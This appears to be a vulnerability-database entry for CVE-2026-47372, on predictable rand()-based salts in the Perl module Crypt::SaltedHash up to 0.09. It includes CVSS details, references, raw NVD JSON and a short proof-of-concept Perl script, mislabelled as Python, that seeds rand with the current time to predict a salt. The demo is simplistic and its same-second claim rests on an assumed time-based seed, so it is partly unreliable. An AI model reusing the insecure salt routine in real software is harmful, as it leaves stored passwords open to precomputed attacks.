CVE-2026-47372

Description

Crypt::SaltedHash versions through 0.09 for Perl generate insecure random values for salts. These versions use the built-in rand function, which is predictable and unsuitable for cryptography.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Crypt::SaltedHash <= 0.09

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/perl
use strict;
use warnings;

# This PoC demonstrates the predictability of using rand() for salt generation.
# In Crypt::SaltedHash <= 0.09, salt generation relied on non-cryptographic rand().

sub generate_vulnerable_salt {
    my $length = 8;
    my $salt = "";
    for (1..$length) {
        # Vulnerable: using built-in rand which is predictable
        $salt .= chr(int(rand(256))); 
    }
    return $salt;
}

# Simulation: If an attacker guesses the seed (e.g., based on time)
my $guessed_seed = time(); 
srand($guessed_seed);

my $predicted_salt = generate_vulnerable_salt();

print "[+] Predicted Salt (using guessed seed): " . unpack("H*", $predicted_salt) . "\n";

# If the server generates a hash at the same second, the salt will match.
print "[!] An attacker can use this predicted salt to pre-compute hash tables.\n";

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-47372
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-47372
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-47372/
[4] VulDB https://vuldb.com/cve/CVE-2026-47372
[5] https://github.com/robrwo/perl-Crypt-SaltedHash/commit/9b68437d2cd420b819b3a795474c3870338d38d5.patch
[6] https://metacpan.org/release/RRWO/Crypt-SaltedHash-0.10/changes
[7] http://www.openwall.com/lists/oss-security/2026/05/20/22

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-47372", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-20T22:16:37.270", "lastModified": "2026-05-21T16:04:53.813", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Crypt::SaltedHash versions through 0.09 for Perl generate insecure random values for salts.\n\nThese versions use the built-in rand function, which is predictable and unsuitable for cryptography."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-338"}]}], "references": [{"url": "https://github.com/robrwo/perl-Crypt-SaltedHash/commit/9b68437d2cd420b819b3a795474c3870338d38d5.patch", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "https://metacpan.org/release/RRWO/Crypt-SaltedHash-0.10/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/20/22", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}